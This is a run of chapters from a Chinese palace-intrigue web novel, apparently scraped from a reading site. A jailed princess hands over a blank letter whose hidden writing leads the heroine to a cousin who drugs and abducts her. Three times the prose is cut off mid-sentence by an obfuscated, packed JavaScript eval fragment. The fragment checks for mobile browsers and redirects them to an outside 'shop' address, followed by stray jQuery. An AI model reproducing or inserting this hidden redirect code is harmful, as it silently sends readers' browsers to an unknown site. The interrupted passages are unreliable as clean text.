正在她愣神之际,牢门内的角落里传来一阵悉悉索索的声音,楚涵萱顿时眉心一跳。 只见这时,几只硕大的老鼠探出头来,看着她们几人犹如看到了新鲜的食物一般,目露凶光。 “啊!”楚涵萱只觉身体一阵发麻,立即抱着头大叫道。 “有老鼠!” 司琪神色一凛,执起地上的几粒石子砸向那几只巨鼠。 “吱吱……” 那几只巨鼠挣扎了几下顿时没了声响。 “公主,没事了。”司琪淡淡安慰道。 “吵什么吵,这里可是慎刑司,小心吃鞭子!”走过来的狱卒厉声道。 “公主,我们现在该怎么办?”玲珑看了眼地上几只巨鼠的尸体,就她自己在这里的时候她几乎都要吓**!幸好,有司琪。 就在这时,不远处传来一阵脚步声,楚涵萱立即敛了眸色。 只见一位青衫公子缓步朝这边走来,离得近了,楚涵萱才认了出来,来人正是青玄。 楚涵萱警惕的打量着他道:“你到这里来,所为何事?” 难道是她给的解药解了安文夕中的胭脂泪,他要将她们放出去了么? 可是,看着似乎不像。 青玄的身边跟着一位身形彪壮的大汉,生的虎背熊腰,手中提着长长的鞭子,那鞭尾挂着的血珠似乎还没有凝固。 “你给的药是假的!” “什么?不可能!” “这是月公子说的,不会有假,皇上给你一天的时间交出解药,不然八公主待在这里可要有苦头吃了!” 明明是清润的语气,却一阵寒气凛冽。 青玄身后的大汉扬起了手中的鞭子,将鞭尾的血珠全部甩到了脱了皮的墙壁上,空气中顿时弥漫了淡淡的血腥。 “怎么可能是假的呢?”楚涵萱喃喃。 “八公主好好考虑吧。”青玄扫了她一眼,然后出了慎刑司。 那大汉扯了扯手中的鞭子,厉声道:“老子可不管什么公主不公主的,到了慎刑司,都是老子的阶下囚!不过,倒是可惜了这小娘子细皮嫩肉的,若是打成了一滩烂泥,多不好,所以你还是老实交出上头要的东西!” 楚涵萱看着大汉眯起的眼睛透着的猥琐和他手中的长鞭,心中泛起一阵厌恶,她何时被人这样威胁过。 当即冷冷出声:“给本公主滚!” “哼,老子倒要看看是你的嘴硬,还是老子手下的鞭子硬!”那大汉扬起手中的鞭子,在空气中抽了一记空响。 此时,楚涵萱彻底明白她分明是被人利用了! 那个人,根本就是想让她死! 她狠狠的攥着衣袖,半晌想起那人给他的一个锦囊来。 那人说过,若是北宫喆查到她身上,只要将这个锦囊交给安文夕便可。 她立即从袖中翻出那个锦囊来,犹豫了一下,还是将锦囊打开,里面是一封书信,但却并没有署名。 她拆开来看,却发现信封里面只有一张白纸罢了,她反复端详了许久也没有看出来这白纸什么不同,难道这张白纸真能救她一命? “公主,这是什么?”玲珑靠近问道。 楚涵萱什么也没有说,只是快速的将信收好,重新放回锦囊。 她充满疑惑的眸光扫了眼手中的锦囊,手指渐渐收紧,指尖微微发白。 虽然不知道这纸里面有什么玄机,如今她也没有别的办法了,只能暂且一试,她不想不声不响的死在这大牢里! “去将狱卒叫过来!”楚涵萱冷冷吩咐道。 玲珑心中虽然不解,但还是照着吩咐大喊道:“来人,快来人啊!” “又乱叫什么,仔细你的皮!”这时,朝这边走来一位狱卒,扬着鞭子,骂骂咧咧道。 “给本宫闭嘴!”楚涵萱的语气冰冷如刀,竟让那狱卒微微一滞。 楚涵萱抿了抿唇,不甘心的将一只手腕上的手镯褪了下来。 “公主,这怎么可以!”玲珑瞬间明白了楚涵萱的意思,立即伸手去拦。 虽说公主自小不缺这些东西,可这手镯毕竟是公主用过的东西,怎能给一个卑贱的狱卒呢! 楚涵萱看了玲珑一眼,低垂了眸光,半晌才在嘴角攒出了一丝笑意,而眸光却阴冷又不屑,她将手中的手镯递给狱卒道:“这是本宫从小戴的手镯,识货的人一眼便可以看出价值不菲,本宫想让你帮个忙。” 那狱卒看着楚涵萱手中的手镯眼睛一亮,虽然他不怎么识玉,但是看着那手镯通体晶莹碧透,一看就是上等好玉。 他脸上的凶煞顿时敛去,眼中浮现了贪婪之色,欲伸手去接,而楚涵萱却蓦地收回。 “帮本宫做件事,这手镯就是你的!” “您请说,您请说。”有了喆手镯的诱惑,那人的态度立即变得恭敬了起来,果然是有钱能使鬼推磨。 “你想办法去未央宫传个话,本宫要见皇贵妃或者是她身边的贴身宫女!” “这个……” “怎么,有问题么?”楚涵萱冷然瞧着狱卒,她的神情高傲,如看蝼蚁。 “皇贵妃是何等人物,岂是我等卑劣之人能够见得到的?” 楚涵萱握着手镯的手微微用力,似乎在极力隐忍,半晌她从头上拔下一支纯金步摇,冷冷道:“这样可以了么?” “可以了可以了,小人记得我好像有一个远方的表哥负责宫里的采买,若是小人让他帮我一个忙,想必他定是肯的。” 看着狱卒那市侩算计的模样,楚涵萱微微皱眉,这样的人,是她最为不屑的! 她伸手递出去了一个手镯道:“待本宫见到了人,就会将这步摇赏你。” 那狱卒面上的笑容一滞,伸手接过了手镯,但是他的眸光却死死咬着那支金步摇不放,但是他也知道见好就收的道理。 立即恭敬道:“您放心,您的话小人一定带到。”他说着将手镯塞进怀中。 一旁的玲珑瞧着他那鼠目猥琐的模样,心中泛起一阵阵厌恶,真是可惜了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16653540|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手镯! “六子,你在这干什么呢!”身后传来传来一声暴喝,顿时吓得那狱卒双腿一软。 玲珑心思一动,立即道:“官爷,给口水喝吧!” “孙头,她们这是要水喝呢。” 刚才那位大汉锐利的眸子扫了一眼,厉声道:“上头吩咐了,这里的犯人关系重大,闲杂人等不许接近。” “是是,小人这就给他们取了水就走。” 孙头微微蹙了眉,这六子向来偷奸耍滑、市侩尖酸,怎么好端端的会如此向牢里头的**献殷勤,只怕是收了别人的好处。 他亦有所思的扫了眼楚涵萱,想买通狱卒让自己在这里好过一些,这也不算什么,他没有说话,大步走开了。 叫做六子的狱卒取了水,端了过来,然后不放心的回头看了看,见身后没有人才道:“今日已经晚了,小人那表哥也见不到皇贵妃,只怕要等到明日了。” “本宫知晓了,你退下吧。”楚涵萱冷冷道。 六子瞥了眼神色冷然的楚涵萱,双眸微眯,若不是看在那镯子的份上,他才不会伺候这个女人,她还真以为她现在还是娘娘么? 六子走后,楚涵萱一掌将水碗打翻,今日实在是太窝囊了! 从六子之后,再也没有人来了,也没有人给她们送水送饭,陪伴她们的只有挂在墙上的幽冷摇曳的油灯和阴冷潮湿角落里悉悉索索的老鼠。 这牢房又黑又冷,还透着一股子霉味,根本就不是人呆的地方,楚涵萱看着那潮湿发霉的稻草,掩了掩鼻子,别说让她去睡了,她还看都不愿多看一眼,所以她一直站在牢门那一处稍微干净的地方。 一夜过后,她的双眼下面出现淡淡的乌青,眼底尽是血丝,脸色也有些苍白,双腿也酸痛不堪,她从没有受过这样的罪,一夜未眠,熬得精神都有些不济了。 “公主,你没事吧?”玲珑搀着她道。 “没事,本宫受得住!” 而在未央宫,安文夕这一夜依旧不得安稳,失眠了小半宿,直到凌晨才睡了过去。第二次一早,陌姑姑见她睡得正熟,也没扰她,只是看着她眉心颜色越来越深的泪痣微微蹙眉。 安文夕一觉睡到辰时才缓缓醒来,这一晚是相对于前几晚睡得最好的一晚了,她的双颊也添了几分红润,人也精神不少。 洗漱完毕,陌姑姑就将早膳送来,安文夕用了早膳过后,就去看了看无双,她眉心的泪痣已经快要接近红色了!一天天过去,而如今她却没有半点线索,想起北宫喆,安文夕又叹了口气。 如今,他为国事操劳,根本不会来未央宫,而她因为那晚的事情,心中却总是有丝心结,也不想再去琼华殿。 然而,她确是知道的,曹太后每晚都会往琼华殿送人,她想将那些女人都赶出去,可是她又凭什么呢,这样只会招来他的厌恶罢了。 依着他清冷的性子是断然不会留下她们过夜的,更何况,那还是曹太后送去的人,她这样想着。 “公主。”欢凉见到她在这边,急忙走了过来。 “你今日怎么来得这么早?” 第208章 内藏玄机 第二百零八章内藏玄机 欢凉现在都是住在太师府的,通常会在下午的时候过来未央宫,而到日暮时分再回太师府。 “公主,我进宫的时候有人向我传了口信。” “什么口信?” “楚涵萱想见公主,说是有东西要交给公主。” “有东西交给我?”安文夕双眸微缩,如今楚涵萱已经被扔进了慎刑司,下场可想而知。如果不是有把握保命的东西,只怕她也不会要见她。 安文夕笃定,她要交给她的东西必定不是解药,不然,这楚涵萱要见的就不是她安文夕而是北宫喆了! 如果她真的去慎刑司去见楚涵萱,必然会惊动北宫喆。她隐隐觉得,楚涵萱既然不想让北宫喆知晓此事,必定和她有关! 安文夕抬眸之间,心中的思绪已经千回百转。 她看了眼欢凉道:“这件事我不方便去,你代我跑一趟吧。” 欢凉眸子一亮,勾唇道:“公主,欢凉正有此意呢!” 她担心那楚涵萱再耍什么花招,如今公主有孕在身,而且中了胭脂泪,她肯定是不放心的,而她欢凉则就没什么顾虑的了。 看着欢凉的双眸,安文夕顿时明白了她心中所想,真是个傻丫头,她是笃定那楚涵萱不会出手,才会放心让她去的。 而楚涵萱么,也不是傻子,自然知道如今再出手,只会让自己死的更快罢了。 “公主,我去慎刑司还乔装打扮一番么?” “不必,你就拿了我的令牌去便可。” 太过刻意反而会引起不必要的怀疑! 安文夕的杏眸眯了眯,就不知道这次那楚涵萱会带给她什么线索了,也许还可以顺着这条线索牵出最后的那条大鱼! 因为有了安文夕的手谕,欢凉很轻松就进去了慎刑司。 而此时,她面前的楚涵萱一脸落魄,发髻染了些灰尘而有些凌乱,昨日那盈盈如水般的双眸此时也失了颜色,在她身上尽显狼狈,丝毫找不出一丝昨日的高贵。 楚涵萱看到了欢凉,嘴角牵起一抹讥笑,“皇贵妃这是不敢来么?” “皇贵妃岂是你能随便见的?你若是有什么事,见我也是一样的。” 虽然安文夕没有来,但是欢凉能来,也是一样的,毕竟她是安文夕身边最亲近的人。 “本宫这里有一个锦囊,里面的线索能够让你们找到解药,但是本宫有个条件——放了我们!” 欢凉狐疑的打量了她一眼,难道是在玩什么把戏,若是真能够找到线索,为何她昨日不拿出来呢? 她敛了眸光道:“将你打入慎刑司是皇上的旨意,这件事我做不了主,皇贵妃也做不了主,你若是想出去,得去找皇上。” 楚涵萱双眸泛出怒意,她若是能见得到北宫喆,还会去找安文夕么? 更何况,那个锦囊是必须要交给安文夕的! “这个本宫不管,反正若是不放了本宫,本宫是绝对不会将锦囊交出去的!”楚涵萱厉声道,在这里待了整整一夜,而且滴水未进,她的耐心已经到了极限。 “那你就去找皇上吧!”安文夕淡扫了她一眼,抬脚欲走。 从来没见过求人还这么蛮横霸道的,她的心中对楚涵萱的印象又差了几分,不过是个被宠坏的公主罢了! 安国君子嗣不少,但最后只剩下两个公主,而自家的公主更是从小被安国君捧在手心里宠大的,但是却丝毫没有公主脾气,且向来待人亲厚、性格坚韧。而面前这一位金枝玉叶的公主,真是比自家的公主差的太远了! “慢着!”楚涵萱咬牙,然后从袖中取出锦囊来递给欢凉。 “这锦囊里的信息也许能够找到解药,到时你们就会知道本宫是冤枉的!”楚涵萱恨恨道,“本宫就等着北宫喆亲自来将本宫接出去!” 欢凉收了锦囊,抬眸看向楚涵萱,“你多次出手加害我家娘娘,就是没有这胭脂泪一事,皇上也是不会饶了你的,竟然还妄想让皇上来接你?” 这西楚八公主果然是被宠坏了,心机手段是有,可是太过狂傲,只会害了自己! “他敢!本宫可是大楚的公主,他若是敢如此对本宫,西楚绝不会放过他!” 虽然如今三哥是西楚的皇帝,自己与他不甚亲和,但不管怎样,她是西楚的公主,若是被扣在了夏宫的慎刑司,西楚的脸面何在? 欢凉摇了摇头,直接出了慎刑司。 “公主,那信上明明什么东西都没有,那真的能救我们出去么?” “自然,虽然我们看不懂那上面的玄机,可是没准安文夕可以看得懂!” 只要可以出了这慎刑司,她们就可以往西楚传消息,那时她们就一定会有救的! 如今,大夏刚刚立国,而曹太后却把持着朝政,北宫喆手中根本没有多少实权,大夏虽然表面昌盛,其实不过是副空壳子,根本不能和国运强盛的西楚抗衡。 到时候,有了西楚的威压,她就不信那北宫喆敢对她怎么样!就算她做不了皇后,她也一定要把安文夕从皇贵妃的位子上拉下来,取而代之! 也许,安文夕根本就活不到那一天! 想到这里,楚涵萱稍稍顺了口气,才发现自己饿得厉害,此时算来,她已经几乎一天一夜没进食了。 “公主,你饿了么?”玲珑小心问道。 “本宫的确有些饿了。”楚涵萱从头上取下翡翠簪递给玲珑,“叫人来送些吃的!” 玲珑看着楚涵萱微乱的发髻,头上斜插着的发簪,眼眶有些微红,真是太委屈公主了。 楚涵萱看了未看那翡翠簪,一个小小的簪子能换一顿饭,也算是值了! 欢凉从慎刑司回到宫里,没有发现有人跟踪,微微松了口气。 她回到未央宫将锦囊交给安文夕道:“楚涵萱说这锦囊里的消息可以找到解药。” 安文夕接过锦囊,还没有打开,便被欢凉制止道:“公主,我怕这里面有诈!” 安文夕微微一笑,“能有什么诈,难道还能有毒不成?” 欢凉的确是紧张的,那楚涵萱几次使毒谋害公主,不得不防! 安文夕已经淡笑着将锦囊拆开,看到里面一张空白的信封,心中泛起好奇,究竟是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16653541|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁要借楚涵萱的手将这个交给她? 她脑子里隐隐觉得这胭脂泪一事似乎隐藏着一个巨大的阴谋。 她的手指一顿,取出信封里面的信来。 “怎么会没有字!”欢凉大惊道。 安文夕打量着手中的白纸,脑子里似乎想起来什么,眸光顿时一沉,指尖死死的捏着手中的白纸,难以置信的颤着手,将白纸缓缓平放在桌案上。 欢凉很快注意到了她的情绪变化,“公主,你怎么了?”她看了眼白纸道,“这楚涵萱在耍什么把戏?” 安文夕抿了抿唇,双眸带了丝失望,嘴角噙着苦笑。 “欢凉,去给我端盆水来。” “是,公主。”欢凉一阵疑惑,难不成这白纸里面内藏玄机。 安文夕微握双拳,此时她有些怕了,她希望她是多虑的,希望摆在她面前的就是一张普通的白纸! “公主,水来了。”欢凉用铜盆端来了水。 安文夕犹豫了半晌,还是将桌案上的白纸缓缓放入水中。只见那纸刚刚触到了水,立即显现出蓝色的字迹来。 胭脂泪,解药,莺莺阁。 安文夕眼底的眸光一点点灰败下去,嘴角的苦笑渐渐扩大,最害怕的事情还是发生了。 为什么她用生命去守护的人却用这样阴毒的计谋来算计她的性命? “公主,你怎么了,到底是谁?”欢凉急道,再去看时,那纸上已经被有了任何字迹,蓝色的液体很快溶于水中,余下丝丝缕缕的蓝。 “欢凉,你先出去,让我静一静。” 欢凉颇为担忧的看了安文夕一眼,她双眸之中的神色分明透着痛心,她从未在公主眼中看到这种神色,就是当初恨极了北宫喆时也不曾。 安文夕颓唐的坐在了凳子上,攥着衣袖的手指发白。 这白纸上蓝色的字迹是用胆矾写上去的,遇水会出现蓝色,而水渍干了之后便是无色。她也是无意之间才跟晟哥哥提到过此事。 除了晟哥哥,这世间不会再有第三个人知道! 从他授意子目用麝香落胎再到如今的胭脂泪,他就这么容不下她肚子里的孩子么? 纵然他恨北宫喆,可是这个孩子毕竟有一半是流的她的血,是她身上长出的肉,是一条无辜的生命,他就如此舍得么? 记忆中的晟哥哥,从来都是温文尔雅的,和煦如春风一般,何时竟变成了这样卑鄙无耻的小人? 她又想起秋水给她的信上面的内容,眸光微敛,是他伪装的太好,还是她太傻,这么多年一直识人不清? 安文夕咬了咬下唇,既然他约自己去莺莺阁去拿解药,那么她就要去问问这一切都是为了什么! 再次睁眼,她的双眸已是一片清明。 “欢凉,你进来。” “公主。” “将你身上的衣服脱了!” “什么?” “赶紧脱了,我要出宫,至于原因,等我回来再跟你解释!” 安文夕也脱下了自己的衣服,递给欢凉,“你扮作我,待在寝殿睡觉,我很快就会回来的。” 第209章 她去哪了 第二百零九章她去哪了 欢凉是经常出入宫廷的,她出宫自然不会引起怀疑,但是她却不一样,估计她还没有走出宫门就被拦了下来。 接着,安文夕又打散了高髻,重新梳了欢凉的发髻,然后余下的头发编做了小辫。现在没有**,她就用胭脂水粉稍稍画了下脸,这样一来,也能做个五成像,混出宫也足够了! 果不其然,安文夕借着欢凉的行头很轻松的出了宫,一出宫门,她立即给袭匀传了个消息,让他去莺莺阁和自己汇合。 而她不知道的是她刚出了宫,左言就现了身,立即回了琼华殿。 “你可看清了,那个人是她?”北宫喆听到左言的回禀,朱笔微顿,锐利的黑瞳刹那间抬起。 “是,属下是绝不会认错皇贵妃的!” “去未央宫!” 进了未央宫寝殿,北宫喆别有深意的扫了眼桌案上铜盆里已经泡的溃烂白纸以及微微发蓝的水。 然后他这才迈了进去,看着床榻上用锦被蒙的严严实实的人,眸光又沉了几分。 欢凉根本没有想到北宫喆会这么快就会来未央宫,死死地用被子蒙住自己的脑袋,一阵叫苦不迭。 自从他回宫向来不来未央宫,今日怎么会来的这么巧,难道他发现什么了? “将被子掀起来,让朕瞧瞧!”北宫喆冷冽的声音在头顶响起,欢凉手中抓着的被子更紧了,死死不肯撒手! 这时,连陌姑姑都奇怪起来,今日安文夕怎么好端端的在这个时候睡起了觉,她的眸光扫了眼四周,却不见欢凉,她顿时明白了些什么,双眸眯了眯。 “掀起来!”北宫喆对左言使了眼色,左言立即将被子掀开。 光线突然照了进来,欢凉立即捂住了脸。 这下,完了! “将手拿开!” 听到北宫喆冰冷的声音,欢凉身子一僵。 “不要让朕再说第二遍!” 拿开就拿开!欢凉蓦地将手拿开,然后坐了起来,迎面对上那一双略带薄怒的眸子。 “她去哪了?” “公主没说。” 北宫喆一步步朝她走近,阴鸷的双眸朝她扫来,仿佛要将她捏碎一般。 月清绝见状,立即过来将欢凉护在身后,脸上堆满笑道:“别生气别生气,都是自己人,有话好好说。” 北宫喆冷冷拂了衣袖,背过身去,“你若是不想让她死,就告诉朕她去了哪里!” 他的视线却落在了前方不远处的圆桌上,冰冷的眸光紧紧绞着那只铜盆。 欢凉一阵踌躇之际,却看到北宫喆大步朝那只铜盆而去,欢凉暗叫不好,公主走得急,她直接就躺在了床上,紧接着北宫喆就来了,她根本没有来得及收拾铜盆。 她虽然着急,但还是面不改色的跟了上去。 “这是什么?” “这是……”感觉身遭的空气骤冷,欢凉顿时结巴起来。 “还不说实话!” 他生气了,还是勃然大怒,虽然他在极力隐忍,但是她还是感觉到了。 欢凉饶是再镇静,心中都颤了颤,她咬了咬唇道:“莺莺阁。” 她说完,反倒松了口气,她隐隐感觉,北宫喆还是在乎公主的,公主出去的时候,神色焦急,而北宫喆眉宇之间又是沁着忧虑,难道真的出事了? 欢凉话音一落,北宫喆黑瞳缩了缩,欢凉只觉得眼前掠过一阵微风,北宫喆衣袂一摆,便跃出了未央宫。 青玄和左言对视一眼,立即跟了上去,月清绝走到欢凉身边,锁了眉头,手中一向摇着的羽扇都停了下来。 他看着青玄和左言的背影,喃喃道:“这下坏了!” 陌姑姑挽着眉,看着欢凉道:“真是糊涂,糊涂!她如今有着身子,还到处乱跑,她疯了你也跟着疯了不成?” 欢凉被陌姑姑一阵训诫,抿了抿唇,“我……” 月清绝给了她一个安心的眼神,“别担心,有北宫喆在,她不会有事的。” 欢凉微微点了点头,而心中却变得不安起来。 莺莺阁,说得好听是莺莺燕燕之所,其实和凤青轩一样不过是青楼罢了。 安文夕来到莺莺阁,没有急着去赴约,而是先拐去了二楼一间不起眼的雅阁。 推门而入,一位雪袍男子凭窗而坐,墨发如瀑,如深谷幽兰一般只可远观而不可亵渎。 他听到动静,立即转过身来,面上露出惊喜道:“小师妹,你来了!” 他一开口,周身的气质顿时消失殆尽,此时的袭匀则更像是一个纨绔子一般。 安文夕看了他一眼道:“来得到挺早。” 袭匀脸上挂着浅浅的笑容,却难掩眸中的淡淡失望,“欢凉那丫头怎么没来?” “她不能来,她得帮我守在未央宫。” “好吧,今日让我来有什么事情?” “随我去见一个人。” 安文夕和袭匀相继出了房门,她淡扫了眼莺莺阁内,这里的布局和凤青轩有些不一样,雅间香阁并不是连在一起的,香阁旁则是提供表演的圆台。 安文夕杏眸眯了眯,凭着她对晟哥哥的了解,他一定会选在凭窗且隐秘的房间相见。 安文夕和袭匀毫不费力的来到二楼角落里的香阁前,轻轻地扣了门。 “叩叩……叩叩叩……叩叩……” 这是她和晟哥哥约定的信号。 “进来。” 听到这声温润如玉的声音,安文夕心中啪嗒一声,微微攥了攥拳,推门而入。 进门一股清雅的幽香扑面而来,清清淡淡的香气令安文夕一阵安心。 房间内一阵水汽缭绕,茶香淡淡,而房间装饰素雅,摆设简单,与这莺莺阁的香艳奢靡全然不同。 靠窗的男子一身墨色长袍,盘腿坐在软榻上,背影颀长而挺拔,有一种说不出的俊雅。 而他身边的正是他的贴身护卫冷风,这冷风一般都是隐在暗中的,平常并不现身,而今天却立在了晟哥哥的身后,安文夕的心蓦地一揪。 安景晟缓缓转过头来,透过淡淡的水汽朝安文夕看来,嘴角噙着温雅的笑,“夕儿,你来了。” 这样温柔儒雅的晟哥哥,是她从小见惯了的! 但想起他对她所做的事情,安文夕清澈的眼眸渐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16666739|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷了,这样的晟哥哥,却也是一心想要打掉她腹中胎儿的幕后凶手。 看到安文夕微冷的双眸,安景晟眸光一转,划过一抹难以察觉的幽光。 袭匀嘴角的笑意渐深,只是这笑一闪即逝,有些意味不明。 “过来坐。”安景晟微笑着冲她招手。 安文夕深吸了一口气,莲步轻移,走到安景晟对面坐了下来,她身后的袭匀也不客气的一屁股坐了下来,直接忽略安景晟略皱的眉头和一旁冷风警告的眼风。 “晟哥哥。” 这一声清冷的有些陌生。 正在给安文夕倒茶的安景晟微微一愣,手中的动作一顿,抬眸看了眼安文夕清丽的眉眼,然后倒满了青瓷盏,这才缓缓放下茶壶,整个动作如行云流水一般,高贵优雅。 “夕儿,这是你喜欢的蒙顶茶。” 安文夕淡淡扫了眼面前正袅袅升腾着水汽的茶水,浅浅道:“夕儿如今有孕在身,这茶,还是不喝的好。” 虽然她的脸上一直挂着淡笑,却安景晟却觉得她好像有些变了,现在的她好像与他有了距离一般,漠然的语气将他拒之千里。 “这可是好茶,小师妹你不喝,师兄帮你解决掉。”袭匀倒是不客气,他向来和安景晟八字不合,相互看不顺眼,这安景晟自然是不会招呼他的。 安景晟淡淡瞥了眼袭匀,倒也没说什么。 “晟哥哥,你在这里等我许久了吧。” “不算太久,不过几天罢了。” “听说那南昭皇帝的身体依旧不见好,晟哥哥和香韵公主不是应该在南昭侍疾么,怎么会突然来了大夏,也没有告知我一声。” 虽然带有几分责怪,但是安文夕声音浅淡,根本听不出半分责怪的样子。 “太子游历归朝,我和香儿便不用再进宫侍疾,我来大夏也是通知了花姑姑的,难道花姑姑没有告诉你么?” 安文夕眸光微转,以往不论是晟哥哥有什么消息,花姑姑总是会通知她的,而这次晟哥哥来大夏,花姑姑为何要瞒着她呢? 只听袭匀道:“花姑姑是体谅你身子有孕,想让你安心养胎,才没有告诉你。” “正是这样。”安景晟说道。 “晟哥哥此次来大夏所为何事?” “夕儿应该明白晟哥哥的意思,如今我们大仇未报,我不知道你为何会突然和北宫喆重归于好,还在皇伯伯尸骨未寒之际怀了他的孩子?” “那晟哥哥就三番五次的要谋害这个孩子么?”安文夕声音切切。 安景晟略略垂眸,再次抬眸,眸中有丝不忍,“夕儿,你忘了,是那北宫喆逼**你的父皇,灭了大安,你怎么能怀上他的孽种?” 话到最后,他的声音中竟有些痛惜。 “孽种?”安文夕嘴角勾起若有若无的讥笑,“可这也是我的孩子!” 听到安文夕凌厉的声音,安景晟蓦然抬眸,怔怔的盯着安文夕。 “晟哥哥,当初是你让我去做北宫喆的枕边人,祸了他的国,如今我身怀有孕,不是更好么?” 这句话倒是没错,可是这孩子注定是不能生下来的,她难道不明白么? 第210章 笨的可以 第二百一十章笨的可以 安文夕唇边带了丝苦笑,如今的晟哥哥已经被权势迷了心窍! 袭匀此时将茶盏往桌上一放,声音不大,却令人一震。 “安景晟,你的心也太狠了,小师妹肚子里的是不是你外甥啊?” 安景晟锐利的眼风扫向他,“可这是北宫喆的孩子!” “不管怎样,我要他!”安文夕决绝道。 安景晟却蓦地一震,看着安文夕坚定的眼神,他心中一惊,“夕儿,你这是爱上北宫喆了?” “没错,我爱他,很爱。” “爱就是爱了,怎么样啊,还犯法不成,你难道还要禁止?” 安景晟眉头微拧,嘴角紧抿着,却没有说什么。 “晟哥哥,我不想再去伤害北宫喆,以后……你若是,想要这大夏的江山,就自己去争取吧。” 安文夕委婉的点出了安景晟的目的,什么报仇复国,这一切都不过是来掩饰他的野心罢了。 “夕儿,你难道是想要与我为敌,为了那北宫喆,当真值得?”安景晟颇为痛心道。 “你这做舅舅的非得杀了孩子他爹,就算是为敌也是你自己选的。”袭匀撇撇嘴。 “你闭嘴!”安景晟厉声道。 “切,你管天管地,还要管我说话不成?”袭匀不屑。 “袭匀,你少说一句。”安文夕在小几下面拉了拉他的衣袖。 安景晟狠狠地瞪了他一眼,恨不得将他从楼上扔下去。 安文夕吸了口气道:“晟哥哥,从小你是我最亲近的人,我可以不去追究你让子目用麝香逼我落胎,但是现在你将胭脂泪的解药交给我吧。” 若是他可以拿出解药,她可以原谅他,以后他还是她的晟哥哥。 “想要解药?”安景晟的唇边突然绽开了一抹诡异的笑容。 袭匀看着那抹笑意渐渐扩大,慢慢变得模糊,如同隔了一层薄雾一般,然后整个人朝一旁倒去。 “袭匀!”安文夕立即去扶他。 突然她的脑袋也一阵眩晕,她不可置信的盯着安景晟,眼中尽是痛意,嘴里喃喃道:“你竟对我下药?” 这茶她一点都没有喝,难道这空气里的冷香是**? 她从不对晟哥哥设防,没想到他却用这样的方法对她! 安文夕只觉得心中一阵凄凉,在最后一丝意识里,她看着眼前温雅无比的男子只觉得分外陌生。 “夕儿,对不住了。”安景晟走过去一把接住安文夕,将她抱在怀中,看着她白净的脸庞,紧抿了嘴角,“夕儿,不要怪晟哥哥。” “世子,这个人呢?” 安景晟凤眸微眯,他本打算只见她一个的,偏偏这个讨厌的袭匀竟然也跟来了! 他冷冷道:“带走!” 北宫喆带着青玄和左言感到莺莺阁时,他看到小几上已经冷却的茶水,眸光渐冷。闻着空气中若有若无的冷香,黑瞳顿时收缩。 这香,有问题! 那个女人,真是笨的可以! 他的脑海中一闪而过安文夕那张略显苍白的小脸,明明是那样清晰的眉眼,而现在却模糊了起来。 “皇上,这里有痕迹,他们应该是从这里下去的。”青玄在窗户处观察了一圈道。 北宫喆走近窗户,向外望去,窗下是承安大街,街道两边是琳琅满目的商铺,此时大街之上人流熙熙攘攘。 如今,根本无法去追! “左言,你带着羽卫暗中搜查,所有地方都不要放过,记住,一定要悄悄进行,务必瞒住太后!” “是。”左言领命而去。 “青玄,你随朕回宫!”北宫喆端起小几上的茶水,放在鼻翼之下嗅了嗅,脸上刚毅的线条又冷了几分。 北宫喆再次回到未央宫之时,整个未央宫的温度都骤降了几分。 月清绝的羽扇再也摇不动了,陌姑姑一直挽着黛眉,一副忧心忡忡的样子。 看着北宫喆那冷煞的模样,欢凉咬唇道:“公主可能是去寻胭脂泪的解药了!” 北宫喆双眸微眯,他自然知道她这是去寻解药了! “你好好想想,谁最有可能带走她!”他看着欢凉冷冷开口道。 欢凉始终抿着唇,一言不发,而她的大脑却飞快的运转着,这个时候谁会劫走公主呢? 公主走得匆忙,又是只身一人,显然是不想让人知道她去见谁,公主是个有分寸的人,断然不会去冒险。那么,公主去见的就是熟人了。 她的脑海中蓦地闪现一个人影来,一定是他,也只有他才会让公主不设防了! 一个从小一起长大,且又是至亲的兄长,自然不会设防! “安景晟,除了他我想不到别人。” 北宫喆闻言嘴角的弧度更冷了几分,这个答案,倒是和他的想法不谋而合。 欢凉似是想起了什么,突然道:“晟世子好像容不得公主肚子里的孩子。” 对于子目以及麝香的事情,欢凉倒是只字未提。 北宫喆闻言身形一滞,半晌,他才缓缓转过身来,看向欢凉道:“你觉得他们会去哪里?” “我不知道。”欢凉摇头。 凤青轩和潇湘馆都自然是不能说的,那是他们多年经营的。虽然北宫喆知道些什么,但是毕竟不能从她的口中说出她们的秘密。 “你好好想想,如今可是只有四天的时间了!” 北宫喆扔下这句话,便撩开了步子出了未央宫,随着他的脚步,翻飞的衣摆摇曳出冰冷的弧度。 北宫喆走后,月清绝凑了上来,“小丫头,你真的不知道他们去哪里了么?” 这时,陌姑姑也朝她看来,她还是摇了摇头。 